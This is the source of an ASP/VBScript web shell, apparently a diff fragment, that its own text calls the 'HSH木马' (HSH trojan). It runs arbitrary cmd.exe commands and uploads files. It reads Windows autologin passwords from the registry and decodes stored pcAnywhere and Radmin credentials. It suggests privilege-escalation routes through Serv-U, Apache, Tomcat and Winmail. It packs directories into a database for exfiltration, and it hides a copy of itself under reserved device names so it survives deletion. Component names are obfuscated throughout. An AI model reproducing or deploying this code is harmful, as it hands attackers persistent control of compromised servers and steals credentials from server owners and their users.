    " -TermKey="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber" -TermPort=Wsh.RegRead(TermKey) -If TermPort="" Then TermPort="无法读取.请 确认是否为Windows Server版本 主机" -jb "
  • Terminal Service端口为:"&TermPort&"
    " -pcAnywhereKey="HKEY_LOCAL_MACHINE\SOFTWARE\Symantec\pcAnywhere\CurrentVersion\System\TCPIPDataPort" -PAWPort=Wsh.RegRead(pcAnywhereKey) -If PAWPort="" then PAWPort="无法获取. 请 确认主 机是 否安装pcAnywhere" -jb "
  • PcAnywhere端口为:"&PAWPort&"
    " -jb "------------------------------------------------------" -Set wsX = Server.CreateObject("WScript.Shell") -Dim terminalPortPath, terminalPortKey, termPort -Dim autoLoginPath, autoLoginUserKey, autoLoginPassKey -Dim isAutoLoginEnable, autoLoginEnableKey, autoLoginUsername, autoLoginPassword -terminalPortPath = "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" -terminalPortKey = "PortNumber" -termPort = wsX.RegRead(terminalPortPath & terminalPortKey) -jb"终端服务端口及自动登录
      " -If termPort = "" Or Err.Number <> 0 Then -jb"无 法得到终端服务端口 , 请检查权限是否已经受 到限制 .
      " -Else -jb"当 前 终 端 服 务 端 口 : " & termPort & "
      " -End If -autoLoginPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" -autoLoginEnableKey = "AutoAdminLogon" -autoLoginUserKey = "DefaultUserName" -autoLoginPassKey = "DefaultPassword" -isAutoLoginEnable = wsX.RegRead(autoLoginPath & autoLoginEnableKey) -If isAutoLoginEnable = 0 Then -jb"系统自动登录 功能未开启
      " -Else -autoLoginUsername = wsX.RegRead(autoLoginPath & autoLoginUserKey) -jb"自动登录 的系统 帐户 : " & autoLoginUsername & "
      " -autoLoginPassword = wsX.RegRead(autoLoginPath & autoLoginPassKey) -If Err Then -Err.Clear -jb"False" -End If -jb"自动 登录的 帐户 密码 : " & autoLoginPassword & "
      " -End If -jb"
    " -jb "


    [系统 软件探测]

    " -SoftPath=Wsh.Environment.item("Path") -Pathinfo=lcase(SoftPath) -jb "系统软件支持:" -if Instr(Pathinfo,"perl") Then jb "
  • Perl脚 本:支持
    " -if instr(Pathinfo,"java") Then jb "
  • Java脚本: 支持
    " -if instr(Pathinfo,"microsoft sql server") Then jb "
  • MSSQL数据库服务:支持
    " -if instr(Pathinfo,"mysql") Then jb "
  • MySQL数 据库 服务: 支持
    " -if instr(Pathinfo,"oracle") Then jb "
  • Oracle数据 库服务: 支持
    " -if instr(Pathinfo,"cfusionmx7") Then jb "
  • CFM服务器 :支持
    " -if instr(Pathinfo,"pcanywhere") Then jb "
  • 赛门铁 克PcAnywhere控 制:支持
    " -if instr(Pathinfo,"Kill") Then jb "
  • Kill杀毒软 件:支持
    " -if instr(Pathinfo,"kav") Then jb "
  • 金山系列 杀毒软件 :支持
    " -if instr(Pathinfo,"antivirus") Then jb "
  • 赛门铁克杀毒软件:支持
    " -if instr(Pathinfo,"rising") Then jb "
  • 瑞星系列杀毒软件:支持
    " -paths=split(SoftPath,";") -jb "------------------------------------
    " -jb "系统当前 路径变量:
    " -For i=Lbound(paths) to Ubound(paths) -jb "
  • "&paths(i)&"
    " -next -jb "

    [系 统设置 探测]

    " -pcnamekey="HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName" -pcname=wsh.RegRead(pcnamekey) -if pcname="" Then pcname="无法读取主机名.
    " -jb "
  • 当前主 机名 为:"&pcname&"
    " -AdminNameKey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AltDefaultUserName" -AdminName=wsh.RegRead(AdminNameKey) -if adminname="" Then AdminName="Administrator" -jb "
  • 默认管 理员用户名为:"&AdminName&"
    " -isAutologin="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon" -Autologin=Wsh.RegRead(isAutologin) -if Autologin=0 or Autologin="" Then -jb "
  • 用户自动登 入:未启用
    " -Else -jb "
  • 用户 自动登入:启用
    " -Admin=Wsh.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName") -Passwd=Wsh.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword") -jb "
  • 用户名:"&Admin&"
    " -jb "
  • 密码:"&Passwd&"
    " -End if -displogin=wsh.regRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DontDisplayLastUserName") -If displogin="" or displogin=0 Then disply="是" else disply="否" -jb "
  • 是否显示上 次登入用户:"&disply&"
    " -NTMLkey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\NTML" -ntml=Wsh.RegRead(NTMLkey) -if ntml="" Then Ntml=1 -jb "
  • Telnet Ntml设置为:"&ntml&"
    " -hk="HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count" -kk=wsh.RegRead(hk) -jb"
  • 当前活动网 卡为:"&kk&"
    " -jb "------------------------------------


    " -jb "[服务 器弱 点探测]

    " -Set objComputer = GetObject("WinNT://.") -Set sa = Server.CreateObject("Shell.Application") -objComputer.Filter = Array("Service") -On Error Resume Next -For Each objService In objComputer -if objService.Name="Serv-U" Then -if objService.ServiceAccountName="LocalSystem" Then -jb "
  • 服务器 中有 Se rv-U 安 装,且以LocalSystem权限启动,可以 考虑提权
    " -End if -End if -if lcase(objService.Name)="apache" Then -if objService.ServiceAccountName="LocalSystem" Then -If instr("&woriniba&","Apache") Then -jb "
  • 当前WEB服 务器为 Apache.可以直接提权
    " -Else -jb "
  • 服务器中有Apache服 务存在,启动权限为LocalSystem,可以考 虑PHP木马
    " -End if -end if -End if -if instr(lcase(objService.Name),"tomcat") Then -if objService.ServiceAccountName="LocalSystem" Then -jb "
  • 服务器 中有Tomcat,且以LocalSystem权限启动,可以 考虑使用Jsp木 马提权
    " -End if -End if -if instr(lcase(objService.Name),"winmail") Then -if objService.ServiceAccountName="LocalSystem" Then -jb "
  • 服务 器中有Magic Winmail,且以LocalSystem权限启动,可以查找WebMai l目录,并且写入PHP木马
    " -End if -End if -Next -Set fso=Server.Createobject("Scripting.FileSystemObject") -Sysdrive=left(Fso.GetspecialFolder(2),2) -servername=wsh.RegRead("HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName") -If fso.FileExists(sysdriver&"\Documents And Settings\All Users\Application Data\Symantec\"&servername&".cif") Then -jb "
  • 发现pcAnywher e密码文件,可以从默认目录下载并 破解 得到pcAnyw here密 码" -End if -end sub:Function UpFile() -If Request("Action2")="Post" Then -Set U=new UPC : Set F=U.UA("LocalFile") -UName=U.form("ToPath") -If UName="" Or F.FileSize=0 then -SI="
    请输_入上传_的完全_路径后选择_一个文件_上传!" -Else -F.SaveAs UName -If Err.number=0 Then -SI="



    文件"&UName&"上 传 成功!
    " -End if -End If -Set F=nothing:Set U=nothing -SI=SI&BackUrl -jb SI -ShowErr() -Response.End -End If -SI="


    " -SI=SI&"" -SI=SI&"
    " -SI=SI&"上传路径:" -SI=SI&" " -SI=SI&" " -SI=SI&"
    " -echo SI -End Function -function cmd1shell() -on error resume next -if request("sp")<>"" then session("shellpath") = request("sp") -shellpath=session("shellpath") -if shellpath="" then shellpath = "cmd.exe" -if request("cmd")<>"" then session("defcmd") = request("cmd") -defcmd=session("defcmd") -if defcmd="" then defcmd="set" -if request("rwpath")<>"" then session("rwpath") = request("rwpath") -rwpath=session("rwpath") -if rwpath="" then rwpath=server.mappath(".") -si="
    " -rp1=" 可读写目录(用于回显)
    " -si=si&"" -si=si&rp1&"wscript"" checked>wscript" -si=si&rp1&"wscript.shell"">wscript.shell" -si=si&rp1&"wscript.shell.1"">wscript.shell.1" -si=si&rp1&"shell.application"">shell.application" -si=si&rp1&"shell.application.1"">shell.application.1" -si=si&" " -set fso=server.createobject("scripting.filesystemobject") -sztempfile = rwpath&"\cmd.txt" -select case request("cmdtype") -case "wscript" -set cm=server.createobject("wscript.shell") -set dd=cm.exec(shellpath&" /c "&defcmd) -aaa=dd.stdout.readall -si=si&"" -si=si&aaa -si=si&chr(13)&"
    " -case "wscript.shell","wscript.shell.1" -on error resume next -set ws=server.createobject(request("cmdtype")) -call ws.run (shellpath&" /c " & defcmd & " > " & sztempfile, 0, true) -set ofilelcx = fso.opentextfile (sztempfile, 1, false, 0) -aaa=server.htmlencode(ofilelcx.readall) -ofilelcx.close -call fso.deletefile(sztempfile, true) -si=si&"" -si=si&aaa -si=si&chr(13)&"" -case "shell.application","shell.application.1" -set seshell=server.createobject(request("cmdtype")) -seshell.ShellExecute shellpath," /c " & defcmd & " > " & sztempfile,"","open",0 -si=si&" (1)【Program】(2)【ProgramD】(3)【ProgramE】(4)【Documents】(5)【All_Users】(6)【開始_菜單】(7)【程_序】(8)【RECYCLER(C)】  (9)【RECYCLER(d)】  (10)【RECYCLER(e)】
    (1)【wmpub】  (2)【TEMP】    (3)【ServU(1)】(4)【ServU(2)】 (5)【WINDOWS】  (6)【PHP】      (7)【Mssql】(8)【prel文件夹】   (9)【pcAnywhere】   (10)【Alluser桌面】" +Function MainForm() +o(qq) +End Function + +Function PcAnywhere4() +o"
    PcAnywhere提权 Bin版本
    CIF文件:
    " +end Function +o"
    " +Function StreamLoadFromFile(sPath) +Dim oStream +Set oStream = Server.CreateObject("Adodb.Stream") +With oStream +.Type = 1 +.Mode = 3 +.Open +.LoadFromFile(sPath) +.Position = 0 +StreamLoadFromFile = .Read +.Close +End With +Set oStream = Nothing +End Function +Function hexdec(strin) +Dim i, j, k, result +result = 0 +For i = 1 To Len(strin) +If Mid(strin, i, 1) = "f" or Mid(strin, i, 1) ="F" Then +j = 15 +End If +If Mid(strin, i, 1) = "e" or Mid(strin, i, 1) = "E" Then +j = 14 +End If +If Mid(strin, i, 1) = "d" or Mid(strin, i, 1) = "D" Then +j = 13 +End If +If Mid(strin, i, 1) = "c" or Mid(strin, i, 1) = "C" Then +j = 12 +End If +If Mid(strin, i, 1) = "b" or Mid(strin, i, 1) = "B" Then +j = 11 +End If +If Mid(strin, i, 1) = "a" or Mid(strin, i, 1) = "A" Then +j = 10 +End If +If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then +j = CInt(Mid(strin, i, 1)) +End If +For k = 1 To Len(strin) - i +j = j * 16 +Next +result = result + j +Next +hexdec = result +End Function +Function PcAnywhere(data,mode) +HASH= Mid(data,3) +If mode = "pass" Then number = 32: Cifnum = 144 +If mode = "user" Then number = 30: Cifnum = 15 +For i = 1 To number Step 2 +pcstr=((hexdec(Mid(data,i,2)) xor hexdec(Mid(hash,i,2))) xor Cifnum) +If ((pcstr <= 32) or (pcstr>127)) Then Exit For +decode = decode + Chr(pcstr) +Cifnum=Cifnum+1 +Next +PcAnywhere=decode +End function +Function bin2hex(binstr) +For i = 1 To LenB(binstr) +hexstr = Hex(AscB(MidB(binstr, i, 1))) +If Len(hexstr)=1 Then +bin2hex=bin2hex&"0"&(LCase(hexstr)) +Else +bin2hex=bin2hex& LCase(hexstr) +End If +Next +End Function +CIF = Request("path") +If CIF <> "" Then +BinStr=StreamLoadFromFile(CIF) +o "Pcanywhere Reader ==>Bin提供源码

    " +o "PATH:"&CIF&"
    " +o "帐号:"&PcAnywhere (Mid(bin2hex(BinStr),919,64),"user") +o "
    " +o "密码:"&PcAnywhere (Mid(bin2hex(BinStr),1177,32),"pass") +End If:Fout.Write strBAD +hph="
                 






    Test

    (删除测试文件!)

    (远程下载脚本木马)

    " + +Function radmin() +Set WSH= Server.CreateObject("WSCRIPT.SHELL") +RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\" +Parameter="Parameter" +Port = "Port" +ParameterArray=WSH.REGREAD(RadminPath & Parameter ) +o "Radmin Parameter,Port Reader :)==>Bin

    " +o Parameter&":" +'=========== ReadPassWord ========= +If IsArray(ParameterArray) Then +For i = 0 To UBound(ParameterArray) +If Len (hex(ParameterArray(i)))=1 Then +strObj = strObj & "0"&CStr(Hex(ParameterArray(i))) +Else +strObj = strObj & Hex(ParameterArray(i)) +End If +Next +o strobj +Else +o "Error! Can't Read!" +End If +o "

    " +'=========== ReadPort ========= +PortArray=WSH.REGREAD(RadminPath & Port ) +If IsArray(PortArray) Then +o Port &":" +o hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0)))) +Else +o "Error! Can't Read!" +End If +End Function +Function hextointer(strin) +Dim i, j, k, result +result = 0 +For i = 1 To Len(strin) +If Mid(strin, i, 1) = "f" or Mid(strin, i, 1) ="F" Then +j = 15 +End If +If Mid(strin, i, 1) = "e" or Mid(strin, i, 1) = "E" Then +j = 14 +End If +If Mid(strin, i, 1) = "d" or Mid(strin, i, 1) = "D" Then +j = 13 +End If +If Mid(strin, i, 1) = "c" or Mid(strin, i, 1) = "C" Then +j = 12 +End If +If Mid(strin, i, 1) = "b" or Mid(strin, i, 1) = "B" Then +j = 11 +End If +If Mid(strin, i, 1) = "a" or Mid(strin, i, 1) = "A" Then +j = 10 +End If +If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then +j = CInt(Mid(strin, i, 1)) +End If +For k = 1 To Len(strin) - i +j = j * 16 +Next +result = result + j +Next +hextointer = result +End Function +Function Red(str):Red = "" & str & "":End Function +fuzhishishabi= "
    8 退出登陆
    hi.baidu.com/r00ts
    ":asds="
    File Package
      
    注: 打包生成HSH.mdb文件,位于HSH木马同级目录下


    Release Package
     
    注: 解开来的所有文件都位于HSH木马同级目录下
    " +Function MainMenu() +o"" +If Sot(0,1)=" ×" Then +o"" +Else +o"
    " +o"" +o"" +o"" +o"" +o"" +o"" +o"" +o"" +o"" +o"" +o"" + +o"" +o"" +o"" +o"
    "&mName&"

    木有權限
    " +Set ABC=New LBF:o ABC.ShowDriver():Set ABC=Nothing +o"
    8 站点根目录
    8 本程序目錄
    8 新建--目錄
    8 新建--文本
    8 上傳--单一
    8 远程--下载
    8 上级__目录
    8 CMD---命令
    8 磁盘--信息
    8 用户--账号
    8 端口__网络
    8 组建--探针
    8 脚本__探测
    8 文件--搜索
    8 管理员查询
    8 属性修改器
    8 不死--僵尸
    8 端口扫描器
    8 注册表读取
    8 Serv_u提权
    8 Su_ftp提权
    8 Sqlrootkit
    8 MS_sql提权
    8 Radmin读取
    8 Pcanywhere
    8 文件夹打包

    " +End If + +o fuzhishishabi +End Function +Fout.Close +Set Fout = Nothing +on error resume next +Function TSearch() + dim st + st=timer() + response.write "
    " + response.write"" + response.write "" + response.write"" + response.write"
    搜索引擎
     路  径: 注:多路徑使用"",""号连接.
     文件名:  [部分也行]
    " + if Request.Form("keyword")<>"" then + Set newsearch=new SearchFile + newsearch.Folders=trim(Request.Form("SFpath")) + newsearch.keyword=trim(Request.Form("keyword")) + newsearch.Search + Set newsearch=Nothing + Response.Write "費時:"&(timer()-st)*1000&"毫秒
    " + end if +End Function + +Class SearchFile +dim Folders,keyword,objFso,Counter +Private Sub Class_Initialize +Set objFso=Server.CreateObject("Scripting.FileSystemObject") +Counter=0 ' +End Sub +Private Sub Class_Terminate +Set objFso=Nothing +End Sub +Function Search +Folders=split(Folders,"+") +keyword=trim(keyword) +if keyword="" then +Response.Write("关键字不能为空
    ") +exit Function +end if +flag=instr(keyword,"\") or instr(keyword,"/") +flag=flag or instr(keyword,":") +flag=flag or instr(keyword,"|") +flag=flag or instr(keyword,"&") + +if flag then +Response.Write("关键字不能包含/\:|&
    ") +Exit Function + else + Response.Write "
    " + end if + dim i + for i=0 to ubound(Folders) + Call GetAllFile(Folders(i)) + next + Response.Write "

    共搜索到"&Counter&"個結果
    " + End Function + Private Function GetAllFile(Folder) + dim objFd,objFs,objFf + Set objFd=objFso.GetFolder(Folder) + Set objFs=objFd.SubFolders + Set objFf=objFd.Files + dim strFdName + On Error Resume Next + For Each OneDir In objFs + strFdName=OneDir.Name + If strFdName<>"Config.Msi" EQV strFdName<>"RECYCLED" EQV strFdName<>"RECYCLER" EQV strFdName<>"System Volume Information" Then + SFN=Folder&"\"&strFdName + Call GetAllFile(SFN) + End If + Next + dim strFlName + For Each OneFile In objFf + strFlName=OneFile.Name + If strFlName<>"desktop.ini" EQV strFlName<>"folder.htt" Then + FN=Folder&"\"&strFlName + Counter=Counter+ColorOn(FN) + End If + Next + Set objFd=Nothing + Set objFs=Nothing + Set objFf=Nothing + End Function + Private Function CreatePattern(keyword) + CreatePattern=keyword + CreatePattern=Replace(CreatePattern,".","\.") + CreatePattern=Replace(CreatePattern,"+","\+") + CreatePattern=Replace(CreatePattern,"(","\(") + CreatePattern=Replace(CreatePattern,")","\)") + CreatePattern=Replace(CreatePattern,"[","\[") + CreatePattern=Replace(CreatePattern,"]","\]") + CreatePattern=Replace(CreatePattern,"{","\{") + CreatePattern=Replace(CreatePattern,"}","\}") + CreatePattern=Replace(CreatePattern,"*","[^\\\/]*") + CreatePattern=Replace(CreatePattern,"?","[^\\\/]{1}") + CreatePattern="("&CreatePattern&")+" + End Function + Private Function ColorOn(FileName) + dim objReg + Set objReg=new RegExp + objReg.Pattern=CreatePattern(keyword) + objReg.IgnoreCase=True + objReg.Global=True + retVal=objReg.Test(Mid(FileName,InstrRev(FileName,"\")+1)) + if retVal then + OutPut=objReg.Replace(Mid(FileName,InstrRev(FileName,"\")+1),"$1") + OutPut="

     " & Mid(FileName,1,InstrRev(FileName,"\")) & OutPut + Response.Write OutPut + Response.flush + ColorOn=1 + else + ColorOn=0 + end if + Set objReg=Nothing + End Function +End Class +function php():On Error Resume Next:set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.php")).Write"":fso.CreateTextFile(server.mappath("test.jsp")).Write"Jsp Test oo∩_∩oo":fso.CreateTextFile(server.mappath("test.aspx")).Write"oo∩_∩oo":o(hph):End function:function apjdel():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.DeleteFile(server.mappath("test.aspx")):fso.DeleteFile(server.mappath("test.php")):fso.DeleteFile(server.mappath("test.jsp")):o"Del Success!":End function + +Sub PageAddToMdb() +Dim theAct, thePath +theAct=Request("theAct") +thePath=Request("thePath") +Server.ScriptTimeOut=100000 +If theAct="addToMdb" Then +addToMdb(thePath) +o "

    操作完成!
    "&BackUrl +End If +If theAct="releaseFromMdb" Then +unPack(thePath) +o "

    操作完成!
    "&BackUrl +Response.write "" +Response.end +End If +o(asds) +End Sub +Sub addToMdb(thePath) +On Error Resume Next +Dim rs, conn, stream, connStr, adoCatalog +Set rs=Server.CreateObject("ADODB.RecordSet") +Set stream=Server.CreateObject(Sot(6,0)) +Set conn=Server.CreateObject(Sot(5,0)) +Set adoCatalog=Server.CreateObject(Sot(2,0)) +connStr="Provider=Microsoft.Jet.OLEDB.4.0; Data Source="&Server.MapPath("HSH.mdb") +adoCatalog.Create connStr +conn.Open connStr +conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)") +stream.Open +stream.Type=1 +rs.Open "FileData", conn, 3, 3 +If Request("theMethod")="fso" Then +fsoTreeForMdb thePath, rs, stream + Else +saTreeForMdb thePath, rs, stream +End If +rs.Close +Conn.Close +stream.Close +Set rs=Nothing +Set conn=Nothing +Set stream=Nothing +Set adoCatalog=Nothing +End Sub + +sub SetFileText() +response.write "" +response.write "路    径:(一定要以\结尾)
    " +response.write "文件名称:
    " +response.write "修改时间:
    " +response.write "属性:
    " +response.write "" +response.write "" +set path=request.Form("path1") +set fileName=request.Form("filename") +set newTime=request.Form("time") +set ShuXing=request.Form("shuxing") +if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then +Set fso=Server.CreateObject("Scripting.FileSystemObject") +Set file=fso.getFile(path&fileName) +file.attributes=shuxing +Set shell=Server.CreateObject("Shell.Application") +Set app_path=shell.NameSpace(server.mappath(".")) +Set app_file=app_path.ParseName(fileName) +app_file.Modifydate=newTime +o "

    修改文件  "&path&fileName&"  属性完成 " +end if +end sub + +sub hiddenshell +o "不死僵尸生成将会生成一个新的文件,重新记录地址" +if request("se1")="hidden1" then +fpath=request.servervariables("path_translated") +set fso=server.createobject("scripting.filesystemobject") +pex="com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt9" +rndpex=split(pex,"|")(rndnumber(0,17)) +session("seljw")="" +filepath1=server.mappath(".") +filename1=right(fpath,len(fpath)-instrrev(fpath,"\")) +url=request.servervariables("url") +url=left(url,instrrev(url,"/"))&rndpex&"."&filename1 +fso.copyfile fpath,"\\.\"&filepath1&"\"&rndpex&"."&filename1 +set fso=nothing +o "" +end if +end sub +Function RndNumber(Min,Max) +Randomize +RndNumber=Int((Max - Min + 1) * Rnd() + Min) +End Function + + + +Function fsoTreeForMdb(thePath, rs, stream) +Dim item, theFolder, folders, files, sysFileList +sysFileList="$HSH.mdb$HSH.ldb$" +If Server.CreateObject(Sot(0,0)).FolderExists(thePath)=False Then +showErr(thePath&" 目录不存在或者不允许访问!") +End If +Set theFolder=Server.CreateObject(Sot(0,0)).GetFolder(thePath) +Set files=theFolder.Files +Set folders=theFolder.SubFolders +For Each item In folders +fsoTreeForMdb item.Path, rs, stream +Next +For Each item In files +If InStr(sysFileList, "$"&item.Name&"$") <= 0 and lcase(item.path)<>lcase(Request.ServerVariables("PATH_TRANSLATED")) Then +rs.AddNew +rs("thePath")=Mid(item.Path, 4) +stream.LoadFromFile(item.Path) +rs("fileContent")=stream.Read() +rs.Update +End If +Next +Set files=Nothing +Set folders=Nothing +Set theFolder=Nothing +End Function +Sub unPack(thePath) +On Error Resume Next +Server.ScriptTimeOut=100000 +Dim rs, ws, str, conn, stream, connStr, theFolder +str=Server.MapPath(".")&"\" +Set rs=CreateObject("ADODB.RecordSet") +Set stream=CreateObject(Sot(6,0)) +Set conn=CreateObject(Sot(5,0)) +connStr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&thePath&";" +conn.Open connStr +rs.Open "FileData", conn, 1, 1 +stream.Open +stream.Type=1 +Do Until rs.Eof +theFolder=Left(rs("thePath"), InStrRev(rs("thePath"), "\")) +If Server.CreateObject(Sot(0,0)).FolderExists(str&theFolder)=False Then +createFolder(str&theFolder) +End If +stream.SetEos() +stream.Write rs("fileContent") +stream.SaveToFile str&rs("thePath"), 2 +rs.MoveNext +Loop +rs.Close +conn.Close +stream.Close +Set ws=Nothing +Set rs=Nothing +Set stream=Nothing +Set conn=Nothing +End Sub +Sub createFolder(thePath) +Dim i +i=Instr(thePath, "\") +Do While i > 0 +If Server.CreateObject(Sot(0,0)).FolderExists(Left(thePath, i))=False Then +Server.CreateObject(Sot(0,0)).CreateFolder(Left(thePath, i - 1)) +End If +If InStr(Mid(thePath, i + 1), "\") Then +i=i + Instr(Mid(thePath, i + 1), "\") +Else +i=0 +End If +Loop +End Sub +Sub saTreeForMdb(thePath, rs, stream) +Dim item, theFolder, sysFileList +sysFileList="$HSH.mdb$HSH.ldb$" +Set theFolder=saX.NameSpace(thePath) +For Each item In theFolder.Items +If item.IsFolder=True Then +saTreeForMdb item.Path, rs, stream +Else +If InStr(sysFileList, "$"&item.Name&"$") <= 0 and lcase(item.path)<>lcase(Request.ServerVariables("PATH_TRANSLATED")) Then +rs.AddNew +rs("thePath")=Mid(item.Path, 4) +stream.LoadFromFile(item.Path) +rs("fileContent")=stream.Read() +rs.Update +End If +End If +Next +Set theFolder=Nothing +End Sub + +u=request.servervariables("http_host")&url +Function Course() +SI="
    " +SI=SI&"" +on error resume next +for each obj in getObject("WinNT://.") +err.clear +if OBJ.StartType="" then +SI=SI&"" +SI0="" +end if +if OBJ.StartType=2 then lx="自动" +if OBJ.StartType=3 then lx="手动" +if OBJ.StartType=4 then lx="禁用" +if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then +SI1=SI1&"" +else +SI2=SI2&"" +end if +next +o SI&SI0&SI1&SI2&"
    系统用户与服务
     " +SI=SI&obj.Name +SI=SI&" 系统用户(组)
     
     "&obj.Name&" "&obj.DisplayName&"
    [启动类型:"&lx&"] "&obj.path&"
     "&obj.Name&" "&obj.DisplayName&"
    [启动类型:"&lx&"] "&obj.path&"
    " +End Function +Function IIf(var, val1, val2) +If var=True Then +IIf=val1 +Else +IIf=val2 +End If +End Function +Function GetTheSizes(num) +Dim i, arySize(4) +arySize(0)="B" +arySize(1)="KB" +arySize(2)="MB" +arySize(3)="GB" +arySize(4)="TB" +While(num / 1024 >= 1) +num=Fix(num / 1024 * 100) / 100 +i=i + 1 +WEnd +GetTheSizes=num&" "&arySize(i) +End Function +Function HtmlEncodes(str) +If IsNull(str) Then Exit Function +HtmlEncodes=Server.HTMLEncode(str) +End Function +Sub ShowErr1(str) +Dim i, arrayStr +str=Server.HtmlEncode(str) +arrayStr=Split(str, "$$") +o "
    出错信息:

    " +For i=0 To UBound(arrayStr) +o "  "&(i + 1)&". "&arrayStr(i)&"(点此返回上页)
    " +Next +o "
    " +Response.End() +End Sub +Function GetPost(var) +Dim val +If Request.QueryString("Action")="PageUpfile" Then +Action="PageUpfile" +Exit Function +End If +val=RTrim(Request.Form(var)) +If val="" Then +val=RTrim(Request.QueryString(var)) +End If +GetPost=val +End Function +Sub ChkErr(Err) +If Err Then +o "
  • 错误: "&Err.Description&"
  • 错误源: "&Err.Source&"(点此返回上页)

  • " +Err.Clear +Response.End +End If +End Sub +Sub PageCheck() +InfoCheck() +If request("theAct") <> "" Then +GetAppOrSession(theAct) +End If +ObjCheck() +End Sub +Sub InfoCheck() +Dim aryCheck(6) +On Error Resume Next +aryCheck(0)=Server.ScriptTimeOut()&"(秒)" +aryCheck(1)=FormatDateTime(Now(), 0) +aryCheck(2)=Request.ServerVariables("SERVER_NAME") +aryCheck(2)=aryCheck(2)&", "&Request.ServerVariables("LOCAL_ADDR") +aryCheck(2)=aryCheck(2)&":"&Request.ServerVariables("SERVER_PORT") +aryCheck(3)=Request.ServerVariables("OS") +aryCheck(3)=IIf(aryCheck(3)="", "Windows2003", aryCheck(3))&", "&Request.ServerVariables("SERVER_SOFTWARE") +aryCheck(3)=aryCheck(3)&", "&ScriptEngine&"/"&ScriptEngineMajorVersion&"."&ScriptEngineMinorVersion&"."&ScriptEngineBuildVersion +aryCheck(4)=rootPath&", "&GetTheSizes(fso.GetFolder(rootPath).Size) +aryCheck(5)="Path: "&Request.ServerVariables("PATH_TRANSLATED")&", " +aryCheck(5)=aryCheck(5)&"Url: "&net&""&Request.ServerVariables("SERVER_NAME")&Request.ServerVariables("Url") +aryCheck(6)="变量数: "&Application.Contents.Count()&"(Application)," +aryCheck(6)=aryCheck(6)&" 会话数: "&Session.Contents.Count&"(Session)," +aryCheck(6)=aryCheck(6)&" 当前会话ID: "&Session.SessionId() +aryCheck(6)=aryCheck(6)&" ServerVariables: "&Request.ServerVariables.Count&"(ServerVariables)," +aryCheck(6)=aryCheck(6)&" Cookies: "&Request.Cookies.Count&"(Cookies)" +o "
    " +o"
    8 服务器基本信息
    OptionsValues
    服务器名端口"&aryCheck(2)&"
    服务器IP地址 " +o"
    服务器操作系统"&Request.ServerVariables("OS")&"
    WEB服务器版本"&Request.ServerVariables("SERVER_SOFTWARE")&"
    主机默认超时"&aryCheck(0)&"
    主机当前时间"&aryCheck(1)&"
    主机软件环境"&aryCheck(3)&"
    当前据对路径"&Server.MapPath("/")&"
    当前文件路径"&aryCheck(5)&"
    其它相关信息"&aryCheck(6)&"
    " +End Sub +function conts(url) +on error resume next +dim http +set http=Server.createobject("Microsoft.XMLHTTP") +Http.open "GET",url,false +Http.send() +if Http.readystate<>4 then +conts="" +exit function +end if +conts=bytes2BSTR(Http.responseBody) +set http=nothing +if err.number<>0 then err.Clear +end function +Sub ObjCheck() +Dim aryObj(25) +Dim x, objTmp, theObj, strObj +On Error Resume Next +strObj=Trim(getPost("TheObj")) +aryObj(0)="MSWC.AdRotator|广告轮换组件" +aryObj(1)="MSWC.BrowserType|浏览器信息组件" +aryObj(2)="MSWC.NextLink|内容链接库组件" +aryObj(3)="MSWC.Tools|" +aryObj(4)="MSWC.Status|" +aryObj(5)="MSWC.Counters|计数器组件" +aryObj(6)="MSWC.PermissionChecker|权限检测组件" +aryObj(7)="Adodb.Connection|ADO 数据对象组件" +aryObj(8)="CDONTS.NewMail|虚拟 SMTP 发信组件" +aryObj(9)="Sc"&DEfd&"rip"&DEfd&"ting"&DEfd&".F"&DEfd&"ileS"&DEfd&"yste"&DEfd&"mObj"&DEfd&"ect|FSO组件" +aryObj(10)="Ado"&DEfd&"d"&DEfd&"b"&DEfd&".S"&DEfd&"tre"&DEfd&"am|Stream 流组件" +aryObj(11)="S"&DEfd&"he"&DEfd&"ll"&DEfd&"."&DEfd&"A"&DEfd&"ppli"&DEfd&"ca"&DEfd&"tion|" +aryObj(12)="W"&DEfd&"sc"&DEfd&"ri"&DEfd&"pt.S"&DEfd&"he"&DEfd&"ll|" +aryObj(13)="Wscript.Network|" +aryObj(14)="ADOX.Catalog|" +aryObj(15)="JMail.SmtpMail|JMail 邮件收发组件" +aryObj(16)="Persits.Upload.1|ASPUpload 文件上传组件" +aryObj(17)="LyfUpload.UploadFile|刘云峰的文件上传组件组件" +aryObj(18)="SoftArtisans.FileUp|SA-FileUp 文件上传组件" +aryObj(19)="Microsoft.XMLHTTP|数据传输组件" +aryObj(20)="ADOX.Catalog|ACCESS建库组件" 